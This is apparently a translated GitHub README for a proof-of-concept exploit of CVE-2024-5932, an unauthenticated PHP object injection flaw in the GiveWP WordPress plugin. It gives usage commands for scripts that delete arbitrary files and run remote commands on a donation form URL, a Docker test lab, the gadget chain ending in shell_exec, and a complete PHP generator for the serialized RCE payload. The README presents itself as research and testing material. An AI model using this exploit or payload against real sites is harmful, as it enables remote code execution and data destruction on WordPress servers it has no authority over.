★ CVE-2024-5932 任意文件删除与 RCE 概念验证 ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
8月25日:上传 CVE-2024-5932 文件删除 PoC
8月26日:我们已通过 CVE-2024-5932 成功执行任意命令,但由于影响范围考虑是否披露。
8月27日:我们在 RCE Security 的 Julien Ahrens 的 文章 中找到了 PoC 的详细分析,决定发布我们的 RCE PoC。我们额外上传了一个 RCE PoC 文件,命名为 CVE-2024-5932-rce.py。
CVE-2024-5932:GiveWP PHP 对象注入漏洞 描述:GiveWP 捐赠插件和筹款平台 WordPress 插件在所有版本(包括 3.14.1)中均存在 PHP 对象注入漏洞,原因是通过反序列化来自 'give_title' 参数的不可信输入。这使得未经身份验证的攻击者能够注入 PHP 对象。此外,POP 链的存在允许攻击者远程执行代码以及删除任意文件。
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# 任意文件删除
python CVE-2024-5932.py -u <要利用的URL(捐赠表单URL)> -f <要删除的文件>
# 远程代码执行
python CVE-2024-5932-rce.py -u <要利用的URL(捐赠表单URL)> -c <要执行的命令>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



首先,使用以下命令访问 wordpress 的 shell:
docker exec -it -u root docker-wordpress-1 /bin/bash
如果文件由 root 拥有,由于权限问题可能无法删除。因此,需要使用以下命令更改测试文件的所有权:
touch test && chown www-data test

你可以使用 PHPSTORM 调试 GiveWP。
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={你的PHPSTORM地址}
xdebug.client_port={你的PHPSTORM调试端口}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
……然后你就可以调试你的 WordPress 了。


在此处,get_meta() 函数反序列化之前保存的 "give_title" 值。
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags:替换空字节 -> 使用 \0
stripslashes_deep:替换反斜杠 -> 使用 \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (返回命令字符串)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP 链允许远程命令执行。

利用 TCPDF,你可以实现任意文件删除。
本仓库并非旨在成为 CVE-2024-5932 的对象注入利用工具。本项目旨在帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。
我们每月发布一次 CVE 和恶意软件分析。如果你感兴趣,请点击以下链接查看我们的发布内容。 https://www.skshieldus.com/eng/business/insight.do